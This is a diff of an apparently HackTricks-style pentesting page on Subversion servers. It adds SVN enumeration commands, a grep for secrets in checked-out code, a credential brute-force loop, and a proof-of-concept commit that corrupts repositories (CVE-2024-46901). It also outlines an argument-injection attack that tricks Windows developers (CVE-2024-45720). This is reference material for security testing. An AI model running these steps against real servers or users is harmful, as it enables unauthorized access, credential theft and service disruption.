|
4 | 4 |
|
5 | 5 | ## Basic Information |
6 | 6 |
|
7 | | -**Subversion** is a centralized **version control system** that plays a crucial role in managing both the present and historical data of projects. Being an **open source** tool, it operates under the **Apache license**. This system is widely acknowledged for its capabilities in **software versioning and revision control**, ensuring that users can keep track of changes over time efficiently. |
| 7 | +**Subversion (SVN)** is a centralized **version control system** (Apache license) used for software versioning and revision control. |
8 | 8 |
|
9 | | -**Default port:** 3690 |
| 9 | +**Default port:** `3690/tcp` (svnserve). It can also be exposed via **HTTP/HTTPS** through `mod_dav_svn` and via **svn+ssh**. |
10 | 10 |
|
11 | | -``` |
| 11 | +```text |
12 | 12 | PORT STATE SERVICE |
13 | 13 | 3690/tcp open svnserve Subversion |
14 | 14 | ``` |
15 | 15 |
|
16 | 16 | ### Banner Grabbing |
17 | 17 |
|
18 | | -``` |
| 18 | +```bash |
19 | 19 | nc -vn 10.10.10.10 3690 |
| 20 | +svnserve --version # if shell access is obtained |
| 21 | +svn --version # client version leak via error messages |
20 | 22 | ``` |
21 | 23 |
|
22 | 24 | ## Enumeration |
23 | 25 |
|
24 | 26 | ```bash |
25 | | -svn ls svn://10.10.10.203 #list |
26 | | -svn log svn://10.10.10.203 #Commit history |
27 | | -svn checkout svn://10.10.10.203 #Download the repository |
28 | | -svn up -r 2 #Go to revision 2 inside the checkout folder |
| 27 | +# Anonymous / authenticated listing |
| 28 | +svn ls svn://10.10.10.203 # list root |
| 29 | +svn ls -R svn://10.10.10.203/repo # recursive list |
| 30 | +svn info svn://10.10.10.203/repo # repo metadata |
| 31 | +svn log svn://10.10.10.203/repo # commit history |
| 32 | +svn checkout svn://10.10.10.203/repo # checkout repository |
| 33 | +svn up -r 2 # move working copy to revision 2 |
| 34 | +svn diff -r 1:HEAD svn://10.10.10.203/repo # view changes |
| 35 | + |
| 36 | +# If served over HTTP(S) |
| 37 | +svn ls https://10.10.10.10/svn/repo --username guest --password '' |
| 38 | + |
| 39 | +# Extract revision props (often contain build creds, URLs, tokens) |
| 40 | +svn propget --revprop -r HEAD svn:log svn://10.10.10.203/repo |
29 | 41 | ``` |
30 | 42 |
|
31 | | -{{#include ../banners/hacktricks-training.md}} |
| 43 | +### Auth & Misconfig Hunting |
| 44 | + |
| 45 | +- `svnserve.conf` may allow `anon-access = read` (or even write). If you can list, try `checkout` to dump secrets, scripts, CI tokens. |
| 46 | +- Repositories frequently store **build pipelines**, **deployment keys**, and **database credentials** in versioned config files. Grep the working copy after checkout: `grep -R "password\|secret\|token" -n .`. |
| 47 | +- If svn+ssh is enabled, user shells often allow restricted `svnserve` commands; attempt `ssh user@host svnserve -t` with crafted subcommands to bypass wrappers. |
| 48 | + |
| 49 | +### Bruteforcing credentials (svnserve) |
| 50 | + |
| 51 | +`sasl` authentication (if enabled) and simple password files are protected only by the transport; no lockout by default. A quick Bash loop can try credentials: |
| 52 | +```bash |
| 53 | +for u in admin dev ci; do |
| 54 | + for p in $(cat /tmp/passlist); do |
| 55 | + svn ls --username "$u" --password "$p" svn://10.10.10.203/repo 2>/dev/null && echo "[+] $u:$p" && break |
| 56 | + done |
| 57 | +done |
| 58 | +``` |
32 | 59 |
|
| 60 | +## Recent Vulnerabilities (practical impact) |
33 | 61 |
|
| 62 | +### mod_dav_svn DoS via control characters (CVE-2024-46901) |
34 | 63 |
|
| 64 | +- A user with commit rights can write a path containing control chars (e.g. `\x01`, `\x7f`) that **corrupts the repository**, making later checkouts/logs fail and potentially crashing `mod_dav_svn` workers. |
| 65 | +- Affects Subversion ≤ **1.14.4** when served through **HTTP(S)** (`mod_dav_svn`). Fixed in **1.14.5**. |
| 66 | +- PoC commit with `svnmucc` (requires valid commit creds): |
| 67 | +```bash |
| 68 | +# create payload file |
| 69 | +printf 'pwn' > /tmp/payload |
| 70 | +# commit a path with a control character in its name |
| 71 | +svnmucc -m "DoS" put /tmp/payload $'http://10.10.10.10/svn/repo/trunk/bad\x01path.txt' |
| 72 | +``` |
| 73 | +- After the commit, normal clients may crash or refuse updates until admins manually remove the revision with `svnadmin dump/filter/load`. |
| 74 | + |
| 75 | +### Windows argument injection in svn client (CVE-2024-45720) |
| 76 | + |
| 77 | +- On Windows, "best-fit" character encoding in `svn.exe` allows **command-line argument injection** when processing specially crafted non‑ASCII paths/URLs, potentially leading to arbitrary program execution. |
| 78 | +- Affects Subversion ≤ **1.14.3** on Windows only; fixed in **1.14.4**. Attack surface: phishing a developer to run `svn` on an attacker-controlled URL/path. |
| 79 | +- Pentest angle: if you control a network share or ZIP given to a Windows dev, name a repo URL or working-copy path containing best-fit bytes that decode into `" & calc.exe & "`-style injected args, then trick the victim to run `svn status` or similar on that path. |
| 80 | + |
| 81 | +## Notes for Exploitation Workflow |
| 82 | + |
| 83 | +1. **Check access method**: `svn://` (svnserve), `http(s)://.../svn/` (mod_dav_svn), or `svn+ssh://`. |
| 84 | +2. **Try anonymous read** first; then spray common creds. If HTTP Basic is used, reuse creds found elsewhere. |
| 85 | +3. **Enumerate hooks**: `hooks/pre-commit`, `post-commit` scripts sometimes contain plaintext credentials or hostnames. |
| 86 | +4. **Leverage `svn:externals`** to pull additional paths from other hosts; list them with `svn propget svn:externals -R .` after checkout. |
| 87 | +5. **Version leaks**: HTTP response headers from `mod_dav_svn` usually show the Subversion & Apache version; compare against 1.14.5 to spot vuln targets. |
| 88 | +6. If you obtain filesystem access to the repo, `svnadmin dump`/`svnlook author`/`svnlook dirs-changed` allow offline analysis without credentials. |
| 89 | + |
| 90 | + |
| 91 | + |
| 92 | +## References |
| 93 | + |
| 94 | +- [Apache Subversion security advisory CVE-2024-46901](https://subversion.apache.org/security/CVE-2024-46901-advisory.txt) |
| 95 | +- [Apache Subversion security advisory CVE-2024-45720](https://subversion.apache.org/security/CVE-2024-45720-advisory.txt) |
| 96 | +{{#include ../banners/hacktricks-training.md}} |
0 commit comments